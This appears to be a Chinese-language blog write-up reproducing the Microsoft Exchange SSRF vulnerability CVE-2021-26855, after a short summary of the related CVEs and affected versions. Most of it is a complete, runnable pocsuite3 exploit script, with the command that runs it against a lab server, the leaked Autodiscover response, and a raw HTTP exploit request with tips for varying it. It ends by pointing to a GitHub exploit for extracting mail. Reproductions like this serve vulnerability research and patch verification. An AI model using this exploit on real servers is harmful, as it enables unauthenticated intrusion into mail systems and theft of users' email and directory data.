概述:Exchange CVE-2021-26855 漏洞复现及分析
相关分析:
漏洞
2021年三月,微软修复了Microsoft Exchange多个高危漏洞。通过组合利用这些漏洞能够在未经身份验证的情况下远程获取目标服务器权限。其中包括:
CVE-2021-26855: 服务端请求伪造(SSRF)漏洞,通过该漏洞,攻击者可以发送任意HTTP请求并通过Exchange Server进行身份验证,获取权限。
CVE-2021-26857: 是统一消息服务中的不安全反序列化漏洞。通过该此漏洞,具有管理员权限的攻击者可以在Exchange服务器上以SYSTEM身份运行任意代码。
CVE-2021-26858/CVE-2021-27065: 任意文件写入漏洞,在通过身份验证后攻击者可以利用该漏洞将文件写入服务器的任意路径。
漏洞无需验证和交互即可触发远程代码执行,危害极大。
影响范围
CVE-2021-27065/CVE-2021-26855/CVE-2021-26858:
Microsoft Exchange Server 2019 Cumulative Update 8
Microsoft Exchange Server 2019 Cumulative Update 7
Microsoft Exchange Server 2016 Cumulative Update 19
Microsoft Exchange Server 2016 Cumulative Update 18
Microsoft Exchange Server 2013 Cumulative Update 23
CVE-2021-26857:
Microsoft Exchange Server 2019 Cumulative Update 8
Microsoft Exchange Server 2019 Cumulative Update 7
Microsoft Exchange Server 2016 Cumulative Update 19
Microsoft Exchange Server 2016 Cumulative Update 18
Microsoft Exchange Server 2013 Cumulative Update 23
Microsoft Exchange Server 2010 Service Pack 3
漏洞复现
CVE-2021-26855
CVE-2021–26855
是⼀个 SSRF ,只需要能够访问 Exchange 服务器,攻击者可以不经过任何类型的身份验证来利⽤此漏洞。相关漏洞在C:\Program Files\Microsoft\ExchangeServer\V15\FrontEnd\HttpProxy\bin
目录下的Microsoft.Exchange.FrontEndHttpProxy.dll
使用 pocsuite 编写的 poc 脚本复现漏洞:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 from urllib.parse import urljoinfrom collections import OrderedDictfrom pocsuite3.api import POCBase, Output, register_poc, logger, requestsfrom pocsuite3.api import POC_CATEGORY, OptString, REVERSE_PAYLOADfrom requests.packages.urllib3.exceptions import InsecureRequestWarningimport stringimport randomimport traceback requests.packages.urllib3.disable_warnings(InsecureRequestWarning)def id_generator (size=6 , chars=string.ascii_lowercase + string.digits ): return '' .join(random.choice(chars) for _ in range (size))class DemoPOC (POCBase ): vulID = 'CVE-2021-26855' version = '1.0' author = ['' ] vulDate = '2021-03-06' createDate = '2021-03-06' updateDate = '2021-03-06' references = ['' ] name = 'Microsoft Exchange Server SSRF漏洞' appPowerLink = '' appName = 'Microsoft Exchange Server' appVersion = 'Exchange Server 2013、Exchange Server 2016、Exchange Server 2019' vulType = '' desc = ''' Microsoft Exchange Server SSRF漏洞 ''' samples = ['' ] install_requires = ['' ] def _options (self ): o = OrderedDict() o["email" ] = OptString(default='administrator@ms.com' ,description='登录邮箱' ,require=False ) return o def _verify (self ): result = {} try : random_name = id_generator(3 ) + ".js" email = self.get_option('email' ) user_agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36" autoDiscoverBody = """<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006"> <Request> <EMailAddress>%s</EMailAddress> <AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema> </Request> </Autodiscover> """ % email FQDN = "EXCHANGE" url = "%s/ecp/%s" % (self.url, random_name) resp = requests.get(url, headers={"Cookie" : "X-BEResource=localhost~1942062522" , "User-Agent" : user_agent}, verify=False , ) if "X-CalculatedBETarget" in resp.headers and "X-FEServer" in resp.headers: FQDN = resp.headers["X-FEServer" ] url = "%s/ecp/%s" % (self.url, random_name) logger.info("url: %s" % url) resp = requests.post(url, headers={ "Cookie" : "X-BEResource=%s/autodiscover/autodiscover.xml?a=~1942062522;" % FQDN, "Content-Type" : "text/xml" , "User-Agent" : user_agent}, data=autoDiscoverBody, verify=False , ) if resp.status_code != 200 : logger.error("[-] Autodiscover Error!" ) raise Exception("Autodiscover Error" ) logger.info(resp.content.decode("utf-8" )) if "<LegacyDN>" not in resp.text: logger.error("[-] Can not get LegacyDN! from " + email) raise Exception("Can not get LegacyDN! from " + email) legacyDn = resp.text.split("<LegacyDN>" )[1 ].split("</LegacyDN>" )[0 ] DisplayName = resp.text.split("<DisplayName>" )[1 ].split("</DisplayName>" )[0 ] Address = resp.text.split("<AutoDiscoverSMTPAddress>" )[1 ].split("</AutoDiscoverSMTPAddress>" )[0 ] AccountType = resp.text.split("<AccountType>" )[1 ].split("</AccountType>" )[0 ] MicrosoftOnline = resp.text.split("<MicrosoftOnline>" )[1 ].split("</MicrosoftOnline>" )[0 ] PublicFolderServer = resp.text.split("<PublicFolderServer>" )[1 ].split("</PublicFolderServer>" )[0 ] Server = resp.text.split("<Server>" )[1 ].split("</Server>" )[0 ] AD = resp.text.split("<AD>" )[1 ].split("</AD>" )[0 ] ServerExclusiveConnect = resp.text.split("<ServerExclusiveConnect>" )[1 ].split("</ServerExclusiveConnect>" )[0 ] AuthPackage = resp.text.split("<AuthPackage>" )[1 ].split("</AuthPackage>" )[0 ] CertPrincipalName = resp.text.split("<CertPrincipalName>" )[1 ].split("</CertPrincipalName>" )[0 ] OOFUrl = resp.text.split("<OOFUrl>" )[1 ].split("</OOFUrl>" )[0 ] logger.info("[+] \033[32mSuccess!\033[00m: SSRF Authenticated on Backend Service" ) logger.info("[+] Got details..." ) logger.info("[+] Name: " + DisplayName) logger.info("[+] DN: " + legacyDn) logger.info("[+] SMTP Address: " + Address) logger.info("[+] Account Type: " + AccountType) logger.info("[+] Microsoft Online status: " + MicrosoftOnline) logger.info("[+] Public folder Server: " + PublicFolderServer) logger.info("[+] Server: " + Server) logger.info("[+] AD: " + AD) logger.info("[+] Server Exclusive Connect status: " + ServerExclusiveConnect) logger.info("[+] Authentication Package used: " + AuthPackage) logger.info("[+] Cert Principal Name status: " + CertPrincipalName) logger.info("[+] OOF Url: " + OOFUrl + "\t<- Use this URL to extract emails, contacts from BackEnd Service" ) if len (legacyDn) != 0 : result['VerifyInfo' ] = {} result['VerifyInfo' ]['URL' ] = self.url result['VerifyInfo' ]['legacyDn' ] = legacyDn result['VerifyInfo' ]['AD' ] = AD except Exception as e: logger.error(e) logger.error(traceback.format_exc()) return self.parse_output(result) def _attack (self ): return self._verify() def parse_output (self, result ): output = Output(self) if result: output.success(result) else : output.fail('Internet nothing returned' ) return output register_poc(DemoPOC)
使用 pocsuite 运行 poc:
1 $ pdm run pocsuite -r "D:\Documents\A_Source\OpenSource\POC\Library-POC\Exchange\CVE-2021 -26855 \CVE-2021 -26855 copy .py" -u https://192 .168 .106 .148 --verify --email "zhangsan@ms.test.com"
请求返回的内容如下所示:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 <Autodiscover xmlns ="http://schemas.microsoft.com/exchange/autodiscover/responseschema/2006" > <Response xmlns ="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a" > <User > <DisplayName > 张三</DisplayName > <LegacyDN > /o=Sullivan/ou=Exchange Administrative Group (FYDIBOHF23SPDLT)/cn=Recipients/cn=user51a6aff4</LegacyDN > <AutoDiscoverSMTPAddress > zhangsan@ms.test.com</AutoDiscoverSMTPAddress > <DeploymentId > 617d9d9f-49ee-4ff9-8d88-d5ec6a4bf175</DeploymentId > </User > <Account > <AccountType > email</AccountType > <Action > settings</Action > <MicrosoftOnline > False</MicrosoftOnline > <Protocol > <Type > EXCH</Type > <Server > 6a218915-a8ac-4f8b-a6d2-3a99d28b1ba3@ms.test.com</Server > <ServerDN > /o=Sullivan/ou=Exchange Administrative Group (FYDIBOHF23SPDLT)/cn=Configuration/cn=Servers/cn=6a218915-a8ac-4f8b-a6d2-3a99d28b1ba3@ms.test.com</ServerDN > <ServerVersion > 73C18737</ServerVersion > <MdbDN > /o=Sullivan/ou=Exchange Administrative Group (FYDIBOHF23SPDLT)/cn=Configuration/cn=Servers/cn=6a218915-a8ac-4f8b-a6d2-3a99d28b1ba3@ms.test.com/cn=Microsoft Private MDB</MdbDN > <PublicFolderServer > win-1nmhtjkvjbo.ms.test.com</PublicFolderServer > <AD > WIN-1NMHTJKVJBO.ms.test.com</AD > <ASUrl > https://win-1nmhtjkvjbo.ms.test.com/EWS/Exchange.asmx</ASUrl > <EwsUrl > https://win-1nmhtjkvjbo.ms.test.com/EWS/Exchange.asmx</EwsUrl > <EmwsUrl > https://win-1nmhtjkvjbo.ms.test.com/EWS/Exchange.asmx</EmwsUrl > <OOFUrl > https://win-1nmhtjkvjbo.ms.test.com/EWS/Exchange.asmx</OOFUrl > <UMUrl > https://win-1nmhtjkvjbo.ms.test.com/EWS/UM2007Legacy.asmx</UMUrl > <ServerExclusiveConnect > off</ServerExclusiveConnect > </Protocol > <Protocol > <Type > EXPR</Type > <Server > win-1nmhtjkvjbo.ms.test.com</Server > <SSL > Off</SSL > <AuthPackage > Ntlm</AuthPackage > <ServerExclusiveConnect > on</ServerExclusiveConnect > <CertPrincipalName > None</CertPrincipalName > <GroupingInformation > Default-First-Site-Name</GroupingInformation > </Protocol > <Protocol > <Type > WEB</Type > </Protocol > </Account > </Response > </Autodiscover >
运行结果如下所示:
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 POST /ecp/target.js HTTP/1.1 Host : 192.168.179.2User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36Accept-Encoding : gzip, deflateAccept : */*Connection : closeCookie : X-BEResource=[name]@WIN-N15UUJ077R0.saucerman.com:443/autodiscover/autodiscover.xml?#~1941962754Content-Type : text/xmlContent-Length : 348<Autodiscover xmlns ="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006" > <Request > <EMailAddress > administrator@saucerman.com</EMailAddress > <AcceptableResponseSchema > http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema > </Request > </Autodiscover >
其中:
url 中的 /ecp/target.js 不是绝对的,可以是其他的路径 /ecp/XXX.png
X-BEResource 用于代理请求,其原本更合适应该是 [fqdn]~BackEndServerVersion,BackEndServerVersion 应该大于 1941962752
WIN-N15UUJ077R0.saucerman.com 为目标地址
如果不需要特别指定端口号,还可以使用下面的值:
X-BEResource=WIN-N15UUJ077R0.saucerman.com/autodiscover/autodiscover.xml?#~1941962753
这样会导致以443端口访问 https://win-n15uuj077r0.saucerman.com/autodiscover/autodiscover.xml?#:444/ecp/target.js
获取邮件列表,下载 exp :
https://github.com/charlottelatest/CVE-2021-26855